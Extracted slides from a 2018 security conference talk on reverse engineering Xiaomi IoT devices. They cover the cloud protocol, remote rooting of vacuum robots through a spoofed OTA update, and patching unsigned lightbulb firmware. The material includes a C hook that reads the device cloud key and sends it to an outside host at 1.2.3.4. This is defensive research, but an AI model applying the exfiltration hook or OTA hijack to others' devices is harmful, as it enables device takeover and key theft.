Reversing IoT: Xiaomi Ecosystem

Gain cloud independence and additional functionality by firmware modification
Outline

• Introduction
• Xiaomi Cloud
• Devices and Rooting
  – Vacuum Cleaning Robot
  – Smart Home Gateway/Lightbulbs/LED Strip
Outline

• Introduction
• Xiaomi Cloud
• Devices and Rooting
  – Vacuum Cleaning Robot
  – Smart Home Gateway/Lightbulbs/LED Strip
Why Xiaomi

“Xiaomi’s ‘Mi Ecosystem’ has 50 million connected devices” [1]

„[…] revenue from its smart hardware ecosystem exceeded 15 billion yuan” (1.9 billion €) [2]

Most important: The stuff is cheap

Costs

• Vacuum Cleaning Robot Gen1: ~ 260 €
• Vacuum Cleaning Robot Gen2: ~ 400 €
• Smart Home Gateway: ~25 €
• Sensors: ~5-14 €
• Wifi-Lightbulbs: ~6-12€
Xiaomi News

• Oculus Rift cooperation with Facebook
Xiaomi News

- Oculus Rift cooperation with Facebook
- Xiaomi buys Segway

Segway Bought by Xiaomi-Backed China Transporter Startup Ninebot

Segway Inc., the developer of two-wheeled, electric-powered people movers, was acquired by China-based competitor Ninebot Inc.
How we started

May 2017
Mi Band 2
Vacuum Robot Gen 1

June 2017
Smart Home Gateway + Sensors

July 2017
Yeelink Lightbulbs (Color+White)
Yeelink LED Strip
How we started

October 2017
Yeelink Desklamp
Philips Eyecare Desklamp

December 2017
Yeelink/Philips Ceiling Lights
Philips Smart LED Lightbulb

January 2018
Vacuum Robot Gen 2
Yeelink Bedside Lamp
Why Vacuum Robots?

Three Processors

To provide more location stability there are three dedicated processors in the device to track its movements in real-time, calculate the location and determine the best cleaning routes.

Source: Xiaomi advertisement
Why Vacuum Robots?

Three Processors

To provide more location stability there are three dedicated processors to track its movements in real-time, calculate the location and determine the

Source: Xiaomi advertisement
THE XIAOMI CLOUD
Xiaomi Cloud

- Different Vendors, one ecosystem
  - Same communication protocol
  - Different technologies used
- „Public“ guidelines for implementation
  - Implementation differs from manufacturer to manufacturer
  - [https://github.com/MiEcosystem/miio_open](https://github.com/MiEcosystem/miio_open)
  - [https://iot.mi.com/index.html](https://iot.mi.com/index.html)
Xiaomi Ecosystem

- Xiaomi Mi Band
- Xiaomi Mi Smart Home Kettle
- Xiaomi Mi Smart Home Gateway

Connections:
- WiFi
- BLE
- ZigBee

Data Flow:
- WiFi to Xiaomi Cloud
- HTTPS

ReCon BRX 2018 – Dennis Giese, Daniel Wegemer
Xiaomi Ecosystem

Cloud Protocol (WiFi)

BLE

HTTPS

Cloud Protocol (WiFi)

Xiaomi Cloud

ZigBee

Gateway
Xiaomi Ecosystem

Cloud Protocol (WiFi)

BLE

HTTPS

Cloud Protocol (WiFi)

Xiaomi Cloud

Gateway

ZigBee

ReCon BRX 2018 – Dennis Giese, Daniel Wegemer
Device to Cloud Communication

- **DeviceID**
  - Unique per device

- **Keys**
  - Cloudkey (16 byte alpha-numeric)
    - Is used for cloud communication (AES encryption)
    - Static, is not changed by update or provisioning
  - Token (16 byte alpha-numeric)
    - Is used for app communication (AES encryption)
    - Dynamic, is generated at provisioning (connecting to new WiFi)
Cloud protocol

- Same payload for UDP and TCP stream
- Encryption key depending of Cloud/App usage
- For unprovisioned devices:
  - During discovery: Token in plaintext in the checksum field

<table>
<thead>
<tr>
<th></th>
<th>Byte 0,1</th>
<th>Byte 2,3</th>
<th>Byte 4,5,6,7</th>
<th>Byte 8,9,A,B</th>
<th>Byte C,D,E,F</th>
</tr>
</thead>
<tbody>
<tr>
<td>Header</td>
<td>Magic:2131</td>
<td>Length</td>
<td>00 00 00 00</td>
<td>DID</td>
<td>epoch (big endian)</td>
</tr>
<tr>
<td>Checksum</td>
<td>Md5sum[Header + Key(Cloud)/Token(App) + Data(if exists)]</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Data</td>
<td>Encrypted Data (if exists, e.g. if not Ping/Pong or Hello message)</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>• token = for cloud: key; for app: token</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>• key = md5sum(token)</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>• iv = md5sum(key+token)</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>• cipher = AES(key, AES.MODE_CBC, iv, padded plaintext)</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
Cloud protocol

• Data
  – JSON-formatted messages
  – Packet identified by packetid
  – Structures:
    • commands: "methods" + "params"
    • responses: "results"
  – Every command/response confirmed by receiver (except otc)
• Example
Xiaomi Ecosystem

Cloud Protocol (WiFi) → Xiaomi Cloud

WiFi → Gateway

BLE → Xiaomi Cloud

ZigBee → Gateway

WiFi → Xiaomi Cloud

HTTPS
Xiaomi Ecosystem

Cloud Protocol (WiFi)

HTTPS

Xiaomi Cloud

Cloud Protocol (WiFi)

Gateway

ZigBee

BLE

WiFi

WiFi

ReCon BRX 2018 – Dennis Giese, Daniel Wegemer

21
App to Cloud communication

- Authentication via OAuth
- Layered encryption
  - Outside: HTTPs
  - Inside: RC4/AES using a session key
    - Separate integrity
- Message format: JSON RPC
App to Cloud communication

- **REQ:** api.io.mi.com/home/device_list method:POST params:[]
- **RES:**
  
  `{"message":"ok","result":{"list":[{"did":"65981234","token":"abc...zzz","name":"Mi PlugMini","localip":"192.168.99.123","mac":"34:CE:00:AA:BB:CC","ssid":"IoT","bssid":"FA:1A:67:CC:DD:EE","model":"chuangmi.plug.m1","longitude":"-71.0872248","latitude":"42.33794500","adminFlag":1,"shareFlag":0,"permitLevel":16,"isOnline":true,"desc":"Power plug on ","rssi":-47}}"}
App to Cloud communication

- **REQ:** api.io.mi.com/home/device_list method:POST params:[]
- **RES:**
  ```json
  {"message":"ok","result":{"list":[{"did":"659812bc...zzz","name":"Mi PlugMini","localip":"192.168.99.123","mac":"34:CE:00:AA:BB:CC","ssid":"IoT","bssid":DD:EE","model":"chuangmi.plug.m1","longitude":"-71.0872248","latitude":"42.33794500","adminFlag":1,"shareFlag":0,"permitLevel":16,"isOnline":true,"desc":"Power plug on ","rssi":-47}
  ```
App to Cloud communication

• "longitude":"-71.0872248","latitude":"42.33794500"

Source: Openstreetmaps
LETS TAKE A LOOK AT THE PRODUCTS
Products

Different architectures
• ARM Cortex-A
• ARM Cortex-M
  – Marvell 88MW30X (integrated WiFi)
  – Mediatek MT7687N (integrated WiFi + BT-LE)
• MIPS
• Xtensa
  – ESP8266, ESP32 (integrated WiFi)
Operation Systems

• Ubuntu 14.04
  – Vaccum cleaning robots
• Embedded Linux
  – IP cameras
• RTOS
  – Smart Home products
  – Lightbulbs, ceiling lights, light strips
# Implementations

<table>
<thead>
<tr>
<th></th>
<th>Vacuum Robot</th>
<th>Smart Home Gateway</th>
<th>Philips Ceiling Light</th>
</tr>
</thead>
<tbody>
<tr>
<td>Manufacturer</td>
<td>Rockrobo</td>
<td>Lumi United</td>
<td>Yeelight</td>
</tr>
<tr>
<td>MCU</td>
<td>Allwinner + STM + TI</td>
<td>Marvell (WiFi)</td>
<td>Mediatek (WiFi + BLE)</td>
</tr>
<tr>
<td>Firmware Update</td>
<td>Encrypted + HTTPS</td>
<td>Not Encrypted</td>
<td>Not Encrypted + HTTPS (No Cert!)</td>
</tr>
<tr>
<td>Debug Interfaces</td>
<td>Protected</td>
<td>Available</td>
<td>Available</td>
</tr>
</tbody>
</table>
# Implementations

<table>
<thead>
<tr>
<th></th>
<th>Vacuum Robot</th>
<th>Smart Home Gateway</th>
<th>Philips Ceiling Light</th>
</tr>
</thead>
<tbody>
<tr>
<td>Manufacturer</td>
<td>Rockrobo</td>
<td>Lumi United</td>
<td>Yeelight</td>
</tr>
<tr>
<td>MCU</td>
<td>Allwinner + STM + TI</td>
<td>Marvell (WiFi)</td>
<td>Mediatek (WiFi + BLE)</td>
</tr>
<tr>
<td>Firmware Update</td>
<td>Encrypted + HTTPS</td>
<td>Not Encrypted</td>
<td>Not Encrypted + HTTPS (No Cert!)</td>
</tr>
<tr>
<td>Debug Interfaces</td>
<td>Protected</td>
<td>Available</td>
<td>Available</td>
</tr>
</tbody>
</table>

**Bonus:** Chinese device, but unknown communication to Server in Salt Lake City, USA
LETS GET ACCESS TO THE DEVICES
VACUUM CLEANING ROBOTS
Device Overview

Source: Xiaomi advertisment
Overview sensors

- **2D LIDAR SLAM (5*360°/s)**
- Gen1 only: **Ultrasonic** distance sensor
- multiple **IR** sensors
- 3-axis **Magnetic** Sensor
- 3-axis **accelerometer**
- 3-axis **gyroscope**
- **Bump** sensors
Rooting: Challenges

• Hardware-based access
  – Micro USB Port?
  – Serial Connection on PCB?

• Network-based access
  – Portscan?
  – Sniff Network traffic?
Teardown
Frontside layout mainboard
Backside layout mainboard

- LIDAR UART
- STM UART (921600 baud)
- R16 UART (115200 baud)

STM UART

R16 UART

LIDAR UART
Frontside layout mainboard (GEN2)
Rooting

• Usual (possibly destructive) way to retrieve the firmware
Rooting

- Usual (possibly destructive) way to retrieve the firmware
Rooting

Our weapon of choice:
Pin Layout CPU

ReCon BRX 2018 – Dennis Giese, Daniel Wegemer
Rooting

Initial Idea:

- Shortcut the MMC data lines
- SoC falls back to FEL mode
- Load + Execute tool in RAM
  - Via USB connector
  - Dump MMC flash
  - Modify image
  - Rewrite image to flash
Software

- Ubuntu 14.04.3 LTS (Kernel 3.4.xxx)
  - Mostly untouched, patched on a regular base
- Player 3.10-svn
  - Open-Source Cross-platform robot device interface & server
- Proprietary software (/opt/rockrobo)
  - AppProxy
  - RoboController
  - Miio_Client
  - Custom adbd-version
- iptables firewall enabled
  - Blocks Port 22 (SSHd) + Port 6665 (player)
Available data on device

• Data
  – Logfiles (syslogs, duration, area, ssid, passwd)
  – “/usr/sbin/tcpdump -i any -s 0 -c 2000 –w”
  – Maps
  – Multiple MBytes/day
• Data is uploaded to cloud
• Factory reset
  – Restores recovery to system
  – Does not delete data
    • Maps, Logs still exist
Available data on device

- Maps
  - Created by player
  - 1024px * 1024px
  - 1px = 5cm
Available data on device

Northeastern University, ISEC Building, 6th floor
Communication relations

ReCon BRX 2018 – Dennis Giese, Daniel Wegener
# eMMC Layout

<table>
<thead>
<tr>
<th>Label</th>
<th>Content</th>
<th>Size in MByte</th>
</tr>
</thead>
<tbody>
<tr>
<td>boot-res</td>
<td>bitmaps &amp; some wav files</td>
<td>8</td>
</tr>
<tr>
<td>env</td>
<td>uboot cmd line</td>
<td>16</td>
</tr>
<tr>
<td>app</td>
<td>device.conf (DID, key, MAC), adb.conf, vinda</td>
<td>16</td>
</tr>
<tr>
<td>recovery</td>
<td>fallback copy of OS</td>
<td>512</td>
</tr>
<tr>
<td>system_a</td>
<td>copy of OS (active by default)</td>
<td>512</td>
</tr>
<tr>
<td>system_b</td>
<td>copy of OS (passive by default)</td>
<td>512</td>
</tr>
<tr>
<td>Download</td>
<td>temporary unpacked OS update</td>
<td>528</td>
</tr>
<tr>
<td>reserve</td>
<td>config + calibration files, blackbox.db</td>
<td>16</td>
</tr>
<tr>
<td>UDISK/Data</td>
<td>logs, maps, pcap files</td>
<td>~1900</td>
</tr>
</tbody>
</table>
## eMMC Layout

<table>
<thead>
<tr>
<th>Label</th>
<th>Content</th>
<th>Size in MByte</th>
</tr>
</thead>
<tbody>
<tr>
<td>boot-res</td>
<td>bitmaps &amp; some wav files</td>
<td>8</td>
</tr>
<tr>
<td>env</td>
<td>uboot cmd line</td>
<td>16</td>
</tr>
<tr>
<td>app</td>
<td>device.conf (DID, key, MAC), adb.conf, vinda</td>
<td>16</td>
</tr>
<tr>
<td>recovery</td>
<td>fallback copy of OS</td>
<td>512</td>
</tr>
<tr>
<td>system_a</td>
<td>copy of OS (active by default)</td>
<td>512</td>
</tr>
<tr>
<td>system_b</td>
<td>copy of OS (passive by default)</td>
<td>512</td>
</tr>
<tr>
<td>Download</td>
<td>temporary unpacked OS update</td>
<td>528</td>
</tr>
<tr>
<td>reserve</td>
<td>config + calibration files, blackbox.db</td>
<td>16</td>
</tr>
<tr>
<td>UDISK/Data</td>
<td>logs, maps, pcap files</td>
<td>~1900</td>
</tr>
</tbody>
</table>
Update process
Update process

milO.ota {"mode":"normal", "install":"1", "app_url":"https://[URL]/v11_[version].pkg", "file_md5":"[md5]","proc":"dnld install"}

1. encrypted packet with pkg info
Update process
Update process

2. Download [app_url]
Update process

2. Download [app_url]
Update process

- system_a
- system_b
- Download
- Data

MD5 ok?
Update process

- system_a
- system_b
- Download

Decrypt + image OK?
Update process

- system_a
- system_b
- Download
- Data
- Unpack + dd
- Active copy

ReCon BRX 2018 – Dennis Giese, Daniel Wegemer
Update process

Update root pw in /etc/shadow

system_a
system_b
Download
Data

Active copy
Update process

- system_a
- system_b
- Download
- Data

Active copy

ReCon BRX 2018 – Dennis Giese, Daniel Wegemer
Update process

- system_a
- system_b
- Download
- Data

Active copy

rebooting ...

ReCon BRX 2018 – Dennis Giese, Daniel Wegemer
Update process

- system_a
- system_b
- Download
- Data

Active copy

rebooting ...
Update process

- system_a
- system_b
- Download
- Data

Active copy

dd
Update process

system_a

system_b

Download

Data

Active copy
Firmware updates

• Full and partial images
  – Encrypted tar.gz archives
  – Full image contains disk.img
    • 512 Mbyte ext4-filesystem

• Encryption
  – Static password: “rockrobo”
  – Ccrypt [256-bit Rijndael encryption (AES)]

• Integrity
  – MD5 provided by cloud
Firmware updates

• Full and partial images
  – Encrypted tar.gz archives
  – Full image contains disk.img
    • 512 Mbyte ext4-filesystem

• Encryption
  – Static password: “rockrobo”
  – Ccrypt [256-bit Rijndael encryption (AES)]

• Integrity
  – MD5 provided by cloud
A screenshot of IDA Pro showing the decryption process of a string. The string is encrypted with `crypt -d -K %s %s` and can be decrypted to `rockrobo`.
Lets root remotely

• Preparation: Rebuild Firmware
  – Include authorized_keys
  – Remove iptables rule for sshd

• Send „miLO.ota“ command to vacuum
  – Encrypted with token
    • From app or un provisioned state
  – Pointing to own http server
Lets root remotely

unprovisioned state

Webserver
Lets root remotely

„Get Token“

unprovisioned state

Webserver
Let's root remotely

unprovisioned state

„Get Token“

Webserver
Let's root remotely

unprovisioned state

„Get Token“

„miO.ota“

Webserver
Let's root remotely

unprovisioned state

„Get Token“

„milO.ota“

Webserver
Lets root remotely

„Get Token“

„milO.ota“

Webserver
SSH

root@rockrobo:~

login as: root
Authenticating with public key "rsa-key-gami" from agent
Welcome to Ubuntu 14.04.3 LTS (GNU/Linux 3.14.39 armv71)

* Documentation: https://help.ubuntu.com/
Last login: Thu Dec 14 01:43:59 2017 from 192.168.8.67
root@rockrobo:~$
root@rockrobo:~ $ apt-get update
Ign http://us.ports.ubuntu.com trusty InRelease
Get:1 http://us.ports.ubuntu.com trusty-updates InRelease [65.9 kB]
Get:2 http://us.ports.ubuntu.com trusty-security InRelease [65.9 kB]
Hit http://us.ports.ubuntu.com trusty Release
Hit http://us.ports.ubuntu.com trusty Release
Hit http://ppa.launchpad.net trusty InRelease
Get:3 http://us.ports.ubuntu.com trusty-updates/main Sources [409 kB]
Get:4 http://us.ports.ubuntu.com trusty-updates/restricted Sources [6322 B]
Get:5 http://us.ports.ubuntu.com trusty-updates/main armhf Packages [875 kB]
Hit http://ppa.launchpad.net trusty/main armhf Packages
Get:6 http://us.ports.ubuntu.com trusty-updates/restricted armhf Packages [891 B]
Hit http://ppa.launchpad.net trusty/main Translation-en
Get:9 http://us.ports.ubuntu.com trusty-security/main Sources [147 kB]
Get:10 http://us.ports.ubuntu.com trusty-security/restricted Sources [4931 B]
Get:11 http://us.ports.ubuntu.com trusty-security/main armhf Packages [575 kB]
Get:12 http://us.ports.ubuntu.com trusty-security/restricted armhf Packages [8931 B]
Gain Independence

Two methods:

• **Replacing** the cloud interface
• **Proxy** cloud communication
Replacing the cloud interface

- Replacing the cloud interface

- **Miio_client**
  - (local): 54322 (tcp)
  - 0.0.0.0:54321 (udp)

- **Android/iPhone App**
  - <commands, reports>

- ***.fds.api.xiaomi.com (https)**

- **ot.io.mi.com:80 (tcp)**
- **ott.io.mi.com:8053 (udp)**

- **AppProxy**
- **wifimgr**
- **RoboController**

- **compass**
- **uart_lds**
- **uart_mcu**

- **player**
  - 0.0.0.0:6665

- **IPC**
  - plain json (tcp)
  - enc(key) json (tcp/udp)
  - enc(token) json (udp)
Replacing the cloud interface

- commands, reports ->

- compass, uart_lds, uart_mcu

- player: 0.0.0.0:6665

- wifimgr

- RoboController

- AppProxy

- .fds.api.xiaomi.com (https)

- IPC
  - plain json (tcp)
  - enc(key) json (tcp/udp)
  - enc(token) json (udp)

ReCon BRX 2018 – Dennis Giese, Daniel Wegemer
Replacing the cloud interface

```
compass  uart_lds  uart_mcu

player
0.0.0.0:6665

wifimgr

RoboController

AppProxy

My cloud client
(local):54322 (tcp)
https, mqtt, etc...

*fds.api.xiaomi.com (https)

 IPC
plain json (tcp)
enc(key) json (tcp/udp)
enc(token) json (udp)

FHEM
Home Assistant

<--commands, reports-->
```

---

ReCon BRX 2018 – Dennis Giese, Daniel Wegemer
Replacing the cloud interface

My cloud client
(local):54322 (tcp)
https, mqtt, etc...

/etc/hosts
127.0.0.1 awsbj0...
127.0.0.1 aswbj0-files...
127.0.0.1 cdn.cnbj0....

IPC
plain json (tcp)
enc(key) json (tcp/udp)
enc(token) json (udp)
Proxy cloud communication

- `compass`, `uart_lds`, `uart_mcu`

- `player`: 0.0.0.0:6665
- `wifimgr`
- `RoboController`
- `AppProxy`

- `Miio_client`
  - `(local):54322 (tcp)`
  - `0.0.0.0:54321 (udp)`

- `*.fds.api.xiaomi.com (https)`
- `ot.io.mi.com:80 (tcp)`
- `ott.io.mi.com:8053 (udp)`

IPC:
- plain json (tcp)
- enc(key) json (tcp/udp)
- enc(token) json (udp)

Android/ iPhone App

ReCon BRX 2018 – Dennis Giese, Daniel Wegemer
Proxy cloud communication

- **RoboController**
  - `compass`
  - `uart_lds`
  - `uart_mcu`
  - `player 0.0.0.0:6665`
  - `wifimgr`

- **AppProxy**
  - `Miio_client`
    - (local):54322 (tcp)
    - 0.0.0.0:54321 (udp)

- **Android/iPhone App**
  - `*.fds.api.xiaomi.com (https)`
  - `ot.io.mi.com:80 (tcp)`
  - `ott.io.mi.com:8053 (udp)`
  - `-commands, reports-`
Summary of the Vacuum

• Rooting
  – Remote!

• Cloud Connection
  – Run without cloud
  – Run with your own cloud

• Our goal: We want the Cloudkeys!
SMART HOME GATEWAY, LIGHTBULBS AND LED STRIPS
Xiaomi Ecosystem

Cloud Protocol (WiFi)

BLE

HTTPS

Cloud Protocol (WiFi)

Xiaomi Cloud

ZigBee

Gateway

ReCon BRX 2018 – Dennis Giese, Daniel Wegemer
Xiaomi Ecosystem

Cloud Protocol (WiFi)

BLE

HTTPS

Xiaomi Cloud

Cloud Protocol (WiFi)

ZigBee

Gateway

ReCon BRX 2018 – Dennis Giese, Daniel Wegemer
Overview Hardware

- Application-MCU: Marvell 88MW30x
  - ARM **Cortex-M4F** @ 200 MHz
  - **RAM**: 512KByte SRAM
  - QSPI interface, supports XIP
  - **Flash**: 16 MByte (Gateway)
    - 4 Mbyte SPI (LED Strip, Lightbulb)
  - Integrated **802.11b/g/n WiFi Core**
- Zigbee-MCU: NXP JN5169 (**Gateway only**)
  - 32-bit RISC CPU
  - RAM: 32 kB
  - Flash: 512 kB embedded Flash, 4 kB EEPROM
Sensors connected via gateway

Zigbee (NXP JN5169) based
- Door Sensor (Reed contact)
- Temperature sensor
- Power Plug
- Motion Sensor
- Button
- Smoke Detector
- Smart Door Lock
- ...
Acquiring the Key

- PCB got lots of testing points
- SWD is enabled by default

<table>
<thead>
<tr>
<th></th>
<th>SDCLK</th>
<th>SDIO</th>
</tr>
</thead>
<tbody>
<tr>
<td>RST</td>
<td></td>
<td></td>
</tr>
<tr>
<td>TX*</td>
<td>GND</td>
<td>RX*</td>
</tr>
</tbody>
</table>

We can get the key from the memdump

*UART
Acquiring the Key

- Can we get the Key **without** a hardware attack?
- Firmware updates are **not signed**...
Acquiring the Key

- Can we get the Key **without** a hardware attack?
- Firmware updates are **not signed**...
Acquiring the Key

• Can we get the Key **without** a hardware attack?
• Firmware updates are **not signed**...

  Lets create a **modified firmware**
  which gives us the key automatically!
Acquiring the Key

- Can we get the Key \textbf{without} a hardware attack?
- Firmware updates are \textbf{not signed}...

\begin{itemize}
  \item Lets create a \textbf{modified firmware}
  \item which gives us the key automatically!
\end{itemize}

\textbf{✓ No hardware access needed}
Acquiring the Key

- Can we get the Key **without** a hardware attack?
- Firmware updates are **not signed**...

> Lets create a **modified firmware**
which gives us the key automatically!

✔️ **No** hardware access needed
❌ The lightbulb runs a bare-metal OS
   => we need to **patch the binary**
Binary Patching: Goals
Binary Patching: Goals

Branch: Original code

Original code

Patch code
Binary Patching: Goals

Branch: Patch code

Original code

Patch code
Binary Patching: Goals

Original code

Patch code

Branch: Patch code
Binary Patching: Goals

- Modify **program flow**
- **Add** additional code
- Use **existing functions**
Binary Patching: Why can it be hard?

• Overwrite branch instructions

  \[ \text{New Address} = \text{Value of PC} + \text{Offset} \] (on ARM)

• Write new code in assembly
• Model address space (RAM / ROM / free space)
• Call existing functions
• Handle different firmware versions and devices
Binary Patching: Nexmon Framework

definitions.mk

1. NEXMON_CHIP=CHIP_VER_MW300_COLORBULB1
2. NEXMON_FW_VERSION=FW_VER_MW300_COLORBULB1_141_56
3. NEXMON_ARCH=armv7-m
4. RAM_FILE=ram.bin
5. RAMSTART=0x1f0032e0
6. RAMSIZE=0x48FB0
7. PATCHSTART=0x1F04C290
8. PATCHSIZE=0x500

Prerequisite: Know memory layout
Binary Patching: Nexmon Framework

definitions.mk

1 NEXMON_CHIP=CHIP_VER_MW300_COLORBULB1
2 NEXMON_FW_VERSION=FW_VER_MW300_COLORBULB1_141_56
3
4 NEXMON_ARCH=armv7-m
5
6 RAM_FILE=ram.bin
7 RAMSTART=0x1f0032e0
8 RAMSIZE=0x48FB0
9
10 PATCHSTART=0x1F04C290
11 PATCHSIZE=0x500

Prerequisite: Know memory layout
Binary Patching: Nexmon Framework

definitions.mk

```bash
1 NEXMON_CHIP=CHIP_VER_MW300_COLORBULB1
2 NEXMON_FW_VERSION=FW_VER_MW300_COLORBULB1_141_56
3 NEXMON_ARCH=armv7-m
4 RAM_FILE=ram.bin
5 RAMSTART=0x1f0032e0
6 RAMSIZE=0x48FB0
7 PATCHSTART=0x1F04C290
8 PATCHSIZE=0x500
```

Prerequisite: Know memory layout
Binary Patching: Nexmon Framework

definitions.mk

1  NEXMON_CHIP=CHIP_VER_MW300_COLORBULB1
2  NEXMON_FW_VERSION=FW_VER_MW300_COLORBULB1_141_56
3  NEXMON_ARCH=armv7-m
4  RAM_FILE=ram.bin
5  RAMSTART=0x1f0032e0
6  RAMSIZE=0x48FB0
7  PATCHSTART=0x1F04C290
8  PATCHSIZE=0x500

Prerequisite: Know memory layout
Binary Patching: Nexmon Framework

wrapper.c

1. AT(CHIP_VER_MW300_LED, FW_VER_MW300_LED_141_40, 0x1F01ABF4)
2. AT(CHIP_VER_MW300_GW, FW_VER_MW300_GW_141_150, 0x1F045890)
3. AT(CHIP_VER_MW300_COLORBULB1, FW_VER_MW300_COLORBULB1_141_56, 0x1F01AD94)
4. int
5. send_over_http(const char *url_str)
6. RETURN_DUMMY

Prerequisite: Know function names and signature
Binary Patching: Nexmon Framework

Get function names:

Compile Example Project with debug symbols

Load binary into IDA

Use Bindiff to apply function names
Binary Patching: Nexmon Framework

Putting it all together: Write your patch code in C

`patch.c`

```
// Patch code
void
hook(char *buffer, int a, const char *format, ...) {
  const char *key = (const char *) 0x200003AE;
  snprintf(hookbuffer, 140, "http://1.2.3.4/key.php?key=%s", key);
  send_over_http(hookbuffer);
}

// Overwrite original branch
__attribute__((at(0x1F015036, "", CHIP_VER_MW300_COLORBULB1, FW_VER_MW300_COLORBULB1_141_56)))
BLPatch(hook, hook);
```
Binary Patching: Nexmon Framework

Putting it all together: Write your patch code in C

```
1 // Patch code
2 void
3 hook(char *buffer, int a, const char *format, ...) {
4     const char *key = (const char *) 0x200003AE;
5     snprintf(hookbuffer, 140, "http://1.2.3.4/key.php?key=%s", key);
6     send_over_http(hookbuffer);
7 }
8
9 // Overwrite original branch
10 __attribute__((at(0x1F015036, "", CHIP_VER_MW300_COLORBULB1, FW_VER_MW300_COLORBULB1_141_56)))
11 BLPatch(hook, hook);
```
Binary Patching: Nexmon Framework

Putting it all together: Write your patch code in C

```c
// Patch code
void
hook(char *buffer, int a, const char *format, ...) {
    const char *key = (const char *) 0x200003A2;
    snprintf(hookbuffer, 140, "http://1.2.3.4/key.php?key=%s", key);
    send_over_http(hookbuffer);
}

// Overwrite original branch
__attribute__((at(0x1F015036, ", CHIP_VER_MW300_COLORBULB1, FW_VER_MW300_COLORBULB1_141_56)))
BLPatch(hook, hook);
```
Preparing the modified binary (Marvell)

- Preliminary approach for lightbulbs SPI done by Uri Shaked*
- But SPI format != OTA format

<table>
<thead>
<tr>
<th>Byte</th>
<th>Magic</th>
<th>4-7</th>
<th>8-11</th>
<th>12-15</th>
<th>16-19</th>
<th>entry address</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x00000000</td>
<td>4D 52 56 4C</td>
<td>7B F1 9C 2E</td>
<td>FF BE A8 59</td>
<td>03 00 00 00</td>
<td>19 37 00 1F</td>
<td>0xf003719</td>
</tr>
<tr>
<td>0x00000001</td>
<td>&quot;MRVL&quot;</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Byte</th>
<th>segment magic</th>
<th>offset in file</th>
<th>size of segment</th>
<th>mem addr</th>
<th>checksum</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x00000014</td>
<td>02 00 00 00</td>
<td>C8 00 00 00</td>
<td>50 36 00 00</td>
<td>00 00 10 00</td>
<td>20 C8 51 7D</td>
</tr>
<tr>
<td>0x00000028</td>
<td>02 00 00 00</td>
<td>18 37 00 00</td>
<td>28 15 08 00</td>
<td>18 37 00 1F</td>
<td>OA 11 25 85</td>
</tr>
<tr>
<td>0x0000003C</td>
<td>02 00 00 00</td>
<td>40 4C 08 00</td>
<td>54 19 00 00</td>
<td>40 00 00 20</td>
<td>FB 5F ED 39</td>
</tr>
</tbody>
</table>

* https://hackernoon.com/inside-the-bulb-adventures-in-reverse-engineering-smart-bulb-firmware-1b81ce2694a6
Preparing the modified binary (Marvell)

- Preliminary approach for lightbulbs SPI done by Uri Shaked*
- But SPI format != OTA format

<table>
<thead>
<tr>
<th>Byte</th>
<th>Magic</th>
<th>Magic</th>
<th>Timestamp</th>
<th># of segments</th>
<th>entry address</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x00000000</td>
<td>4D 52 56 4C</td>
<td>7B F1 9C 2E</td>
<td>FF BE A8 59</td>
<td>03 00 00 00</td>
<td>19 37 00 1F</td>
</tr>
<tr>
<td>&quot;MRVL&quot;</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>segment magic</th>
<th>offset in file</th>
<th>size of segment</th>
<th>mem addr</th>
<th>checksum</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x00000014</td>
<td>02 00 00 00</td>
<td>C8 00 00 00</td>
<td>50 36 00 00</td>
<td>00 00 10 00</td>
</tr>
<tr>
<td></td>
<td>0xC8</td>
<td>0x3650</td>
<td>0x100000</td>
<td></td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>segment magic</th>
<th>offset in file</th>
<th>size of segment</th>
<th>mem addr</th>
<th>checksum</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x00000028</td>
<td>02 00 00 00</td>
<td>18 37 00 00</td>
<td>28 15 08 00</td>
<td>18 37 00 1F</td>
</tr>
<tr>
<td></td>
<td>0x3718</td>
<td>0x81528</td>
<td>0x100000</td>
<td></td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>segment magic</th>
<th>offset in file</th>
<th>size of segment</th>
<th>mem addr</th>
<th>checksum</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x0000003C</td>
<td>02 00 00 00</td>
<td>40 4C 08 00</td>
<td>54 19 00 00</td>
<td>40 00 00 20</td>
</tr>
<tr>
<td></td>
<td>0x84c40</td>
<td>0x1954</td>
<td>0x20000040</td>
<td></td>
</tr>
</tbody>
</table>

- Dennis wrote a script for that + Mediatek OTA format 😊

* https://hackernoon.com/inside-the-bulb-adventures-in-reverse-engineering-smart-bulb-firmware-1b81ce2694a6
Applying the modified firmware

Xiaomi Cloud
Applying the modified firmware

Xiaomi Cloud
Applying the modified firmware

Xiaomi Cloud

„OTA Update available“ (miO.ota)
Applying the modified firmware

Xiaomi Cloud

„OTA Update available“ (miLO.ota)

Xiaomi CDN
Applying the modified firmware

Xiaomi Cloud

"OTA Update available" (miLO.ota)

Xiaomi CDN
Applying the modified firmware

Xiaomi Cloud

„OTA Update available“ (miO.ota)

Xiaomi CDN
Applying the modified firmware

Xiaomi Cloud

„OTA Update available“ (miO.ota)

Xiaomi CDN
Applying the modified firmware

Xiaomi Cloud

„OTA Update available“ (miO.ota)

Xiaomi CDN

DNS
Applying the modified firmware

Xiaomi Cloud

„OTA Update available“ (miLO.ota)

Xiaomi CDN

DNS
Applying the modified firmware

Xiaomi Cloud

„OTA Update available“ (miO.ota)

Xiaomi CDN

„Hillbilly“ CDN

DNS
Applying the modified firmware

Xiaomi Cloud

„OTA Update available“ (miLO.ota)

Xiaomi CDN

„Hillbilly“ CDN

DNS
Applying the modified firmware

Xiaomi Cloud

„OTA Update available“ (miO.ota)

Xiaomi CDN

„Hillbilly“ CDN

DNS
